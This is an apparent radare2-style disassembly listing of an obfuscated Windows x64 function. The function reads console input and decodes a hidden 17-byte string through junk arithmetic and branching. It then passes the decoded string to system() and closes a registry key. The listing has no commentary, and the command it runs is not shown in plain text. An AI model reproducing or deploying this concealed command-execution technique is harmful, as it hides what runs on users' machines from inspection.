jmp 0x1400d6882
lea rcx, [rbp + 0x68395f]
jmp 0x1400d6882
lea rcx, [rsp + 0x70]
call fcn.140048e00
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
movzx r10d, byte [rbp + 0xb0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x51], xmm0
mov dword [rbp + 0x40], 0xf0f790b
mov dword [rbp + 0x44], 0x9050c7e
mov dword [rbp + 0x48], 0xbb0a48be
mov dword [rbp + 0x4c], 0x57a4194b
mov byte [rbp + 0x50], 0x86
nop dword [rax]
nop word [rax + rax]
mov rax, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor edi, edi
cmp rdi, 0x21
jae 0x1400d73a6
movzx ebx, byte [rbp + rdi + 0x40]
movzx r11d, dil
cmp rax, rdi
ja 0x1400d739d
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1400d691f
lea r10d, [r11 - 0x3d]
movzx ecx, r10b
and cl, bl
add cl, cl
sub r10b, cl
sub r10b, 0x55
add r10b, bl
jmp 0x1400d6960
je 0x1400d7333
inc rcx
cmp rax, rcx
je 0x1400d72b8
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400d7285
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1400d7250
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400d7212
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400d7394
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jae 0x1400d698a
lea r10d, [r11 - 1]
movzx ecx, r10b
and cl, bl
add cl, cl
sub r10b, cl
add r10b, 7
add r10b, bl
jmp 0x1400d69c0
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400d71fb
inc rcx
cmp rax, rcx
je 0x1400d71d9
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400d71bf
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x1400d7195
nop dword [rax]
lea rcx, [rax + r9]
cmp rcx, rdi
jbe 0x1400d6f22
nop dword [rax]
lea rcx, [r9 + 0x1000]
cmp rax, rcx
je 0x1400d6f02
lea rcx, [r9 + 0x10]
cmp rax, rcx
je 0x1400d6edd
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x1400d6eb7
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1400d6e97
lea rcx, [r9 + 0x61]
cmp rax, rcx
je 0x1400d6e7b
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x1400d6e5b
lea rcx, [r9 + 0x200]
cmp rax, rcx
je 0x1400d6e3b
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x1400d6e1f
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x1400d6df1
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400d69d0
lea rax, [r9 + 0x64]
lea r9, [rax + 0x3e8]
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x1400d7378
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x1400d735c
lea rcx, [r9 + 1]
cmp rax, rcx
jb 0x1400d6bbc
lea rdx, [r9 + 0x80]
cmp rax, rdx
jb 0x1400d6ba1
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jb 0x1400d6b86
lea rcx, [r9 + 0x28]
cmp rax, rcx
jb 0x1400d6da7
lea rcx, [r9 + 2]
cmp rax, rcx
jb 0x1400d6d62
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x1400d6d20
lea rcx, [r9 + 0x41]
cmp rax, rcx
jb 0x1400d6cfc
lea rcx, [r9 + 0x40]
cmp rax, rcx
jb 0x1400d69d0
lea r9, [rdx + 0x400]
mov rax, rdx
lea rcx, [r9 + 6]
cmp rdx, rcx
ja 0x1400d6cd2
lea rcx, [r9 + 0x61]
cmp rdx, rcx
ja 0x1400d6cb6
lea rcx, [r9 + 2]
cmp rdx, rcx
ja 0x1400d6c96
lea rcx, [r9 + 0x200]
cmp rdx, rcx
ja 0x1400d6c7a
lea rcx, [r9 + 8]
cmp rdx, rcx
ja 0x1400d6c5e
lea rcx, [r9 + 0x40]
cmp rdx, rcx
ja 0x1400d6c3e
lea rcx, [r9 + 3]
cmp rdx, rcx
ja 0x1400d6c1c
lea rcx, [r9 + 0x3e8]
cmp rdx, rcx
ja 0x1400d6bf7
lea rcx, [r9 + 0x5a]
cmp rdx, rcx
ja 0x1400d6bd7
lea rcx, [r9 + 0x42]
cmp rdx, rcx
ja 0x1400d69d0
lea rax, [r9 + 1]
lea r9, [rax + 4]
jmp 0x1400d69d0
lea r10d, [r11 - 0x1f]
movzx ecx, r10b
and cl, bl
add cl, cl
sub r10b, cl
sub r10b, 0x27
add r10b, bl
jmp 0x1400d69c0
lea r10d, [r11 + 0x5b]
movzx ecx, r10b
and cl, bl
add cl, cl
sub r10b, cl
sub r10b, 0x7d
add r10b, bl
jmp 0x1400d6960
lea r10d, [r11 - 0x2b]
movzx ecx, r10b
and cl, bl
add cl, cl
sub r10b, cl
add r10b, 0x2d
add r10b, bl
jmp 0x1400d68f5
lea edx, [r11 - 8]
mov r10d, Ordinal_30
movzx ecx, dl
and cl, bl
sub r10b, cl
add r10b, r10b
add r10b, dl
add r10b, bl
jmp 0x1400d7227
add r11b, 0x72
inc r9
movzx ecx, r11b
dec rdi
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 0x1e
inc rdi
jmp 0x1400d68e2
sub r11b, 0x14
dec rdi
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 0x74
inc rdi
jmp 0x1400d68e2
lea r8d, [r11 + 0x66]
mov edx, reloc.WLDAP32.dll_Ordinal_27
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1400d7265
sub r11b, 0x20
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 0x20
jmp 0x1400d729c
add r11b, 0x5a
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 0x76
jmp 0x1400d729f
lea r8d, [r11 - 0x2c]
mov edx, reloc.WLDAP32.dll_Ordinal_26
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1400d72cd
add r11b, 0x4e
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 0x22
jmp 0x1400d72f4
sub r11b, 0x38
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
movzx ecx, byte [rbp + rdi + 0x40]
add rcx, r9
add rdi, rcx
lea r10d, [rbx + r11]
sub r10b, 0x78
inc rdi
jmp 0x1400d68e2
sub r11b, 7
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
add r10b, 0x31
mov byte [rbp + rdi + 0x40], r10b
inc rdi
jmp 0x1400d68e2
lea edx, [r11 + 0x73]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x25
cmp r9, 0x400
jb 0x1400d6d13
lea edx, [r11 - 0x4e]
mov r8d, reloc.WS2_32.dll_recvfrom
movzx ecx, dl
and cl, bl
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, bl
lea r10d, [r8 + r8]
jmp 0x1400d7227
lea edx, [r11 - 0x13]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x7b
cmp rax, 0x3e8
jae 0x1400d7161
lea rcx, [r9 + 0x61]
cmp rax, rcx
jbe 0x1400d70b8
lea edx, [r11 + 0x76]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x3a
jmp 0x1400d6d35
lea edx, [r11 + 0x67]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x2f
lea rcx, [rax + r9]
cmp rcx, 9
je 0x1400d717f
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jbe 0x1400d6ff4
lea edx, [r11 + 0x77]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x41
jmp 0x1400d6d77
sub r11b, 6
mov edx, reloc.WS2_32.dll_setsockopt
movzx ecx, r11b
and cl, bl
sub dl, cl
movzx ecx, byte [rbp + rdi + 0x40]
add rcx, r9
add rdi, rcx
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d68e2
add r11b, 0x74
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 0x2c
jmp 0x1400d72f4
lea r8d, [r11 - 0x12]
mov edx, 0x3f
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1400d72cd
add r11b, 0x68
mov edx, reloc.WS2_32.dll_sendto
movzx ecx, r11b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, bl
jmp 0x1400d729f
sub r11b, 0x1e
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 0x2e
jmp 0x1400d729c
lea r8d, [r11 + 0x5c]
mov edx, 0x3e
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1400d7265
sub r11b, 0x2a
mov edx, reloc.WS2_32.dll_send
movzx ecx, r11b
dec rdi
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d68e2
add r11b, 0x50
inc r9
movzx ecx, r11b
dec rdi
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 0x30
inc rdi
jmp 0x1400d68e2
lea r8d, [r11 - 0x36]
mov edx, 0x3d
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1400d7227
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jae 0x1400d6f45
lea edx, [r11 - 0x3d]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x55
jmp 0x1400d6dbc
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400d6f7c
sub r11b, 2
mov edx, 7
movzx ecx, r11b
and cl, bl
sub dl, cl
movzx ecx, byte [rbp + rdi + 0x40]
add rcx, r9
add rdi, rcx
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d68e2
inc rcx
cmp rax, rcx
jne 0x1400d6f9e
lea edx, [r11 + 0xa]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x46
jmp 0x1400d72cd
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400d6fc1
lea edx, [r11 - 0x64]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x44
jmp 0x1400d7265
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400d6dbc
add r11b, 0x22
mov edx, 9
movzx ecx, r11b
dec rdi
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d68e2
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400d7017
lea edx, [r11 - 3]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x15
jmp 0x1400d7227
inc rcx
cmp rax, rcx
jne 0x1400d7039
lea edx, [r11 - 0x71]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x17
jmp 0x1400d7265
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400d705e
add r11b, 0x15
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
add r10b, 0x6d
jmp 0x1400d729c
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400d7081
lea edx, [r11 + 0x21]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x19
jmp 0x1400d72cd
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400d6d77
add r11b, 0x2d
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
movzx ecx, byte [rbp + rdi + 0x40]
add rcx, r9
add rdi, rcx
lea r10d, [rbx + r11]
sub r10b, 0x3b
inc rdi
jmp 0x1400d68e2
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400d70ef
sub r11b, 4
mov edx, reloc.WS2_32.dll_ntohl
movzx ecx, r11b
and cl, bl
sub dl, cl
movzx ecx, byte [rbp + rdi + 0x40]
add rcx, r9
add rdi, rcx
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d68e2
inc rcx
cmp rax, rcx
jne 0x1400d7117
sub r11b, 0x7e
mov edx, reloc.WS2_32.dll_gethostname
movzx ecx, r11b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, bl
jmp 0x1400d72f4
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400d713a
lea edx, [r11 + 8]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x38
jmp 0x1400d72cd
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400d6d35
lea edx, [r11 - 0x66]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x36
jmp 0x1400d7265
lea r8d, [r11 + 0x38]
movzx edx, bl
movzx ecx, r8b
and cl, bl
sub dl, cl
add dl, 0x3c
lea r10d, [rdx + rdx]
add r10b, r8b
jmp 0x1400d7265
lea edx, [r11 - 0x42]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rdx - 0x32]
jmp 0x1400d72cd
sub r11b, 0x4b
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
movzx ecx, byte [rbp + rdi + 0x40]
add rcx, r9
add rdi, rcx
lea r10d, [rbx + r11]
add r10b, 0xd
inc rdi
jmp 0x1400d68e2
lea edx, [r11 - 0x57]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x61
jmp 0x1400d72cd
sub r11b, 0x6f
dec rdi
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
add r10b, 9
inc rdi
jmp 0x1400d68e2
lea edx, [r11 - 0x7b]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x5d
jmp 0x1400d7227
lea edx, [r11 + 0x79]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x4f
add r11b, 0x75
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
sub r11b, 0x33
add r11b, bl
mov byte [rbp + rdi + 0x40], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400d68e2
lea edx, [r11 - 0x19]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x51
sub r11b, 5
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
add r11b, 0x23
add r11b, r10b
add r11b, bl
mov byte [rbp + rdi + 0x40], r11b
jmp 0x1400d729c
add r11b, 0x61
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
add r10b, 0x59
add rax, r9
movzx ecx, r10b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rdi, rdx
inc rdi
jmp 0x1400d68e2
lea edx, [r11 + 0x55]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x53
sub r11b, 0x7f
inc r9
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
add r11b, 0x79
add r11b, bl
movzx ecx, r11b
mov byte [rbp + rdi + 0x40], cl
add rcx, r9
sub rdi, rcx
lea r8d, [rdi + 0x44]
inc rax
movzx ecx, r8b
mov edx, reloc.WS2_32.dll_select
and cl, bl
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add dl, dl
add dl, r8b
add dl, bl
mov byte [rbp + rdi + 0x40], dl
add rdi, rcx
movzx ecx, byte [rbp + rdi + 0x40]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400d68e2
add r11b, 0x49
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
inc r10b
movzx ecx, byte [rbp + rdi + 0x40]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400d68e2
add r11b, 0x4f
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 0x29
jmp 0x1400d68e0
sub r11b, 0x37
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x7f
jmp 0x1400d68d0
lea rcx, [rbp + 0x16edb44]
jmp 0x1400d73aa
lea rcx, [rbp + 0x609e07]
jmp 0x1400d73aa
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x188
pop rdi
pop rsi
pop rbx
pop rbp
ret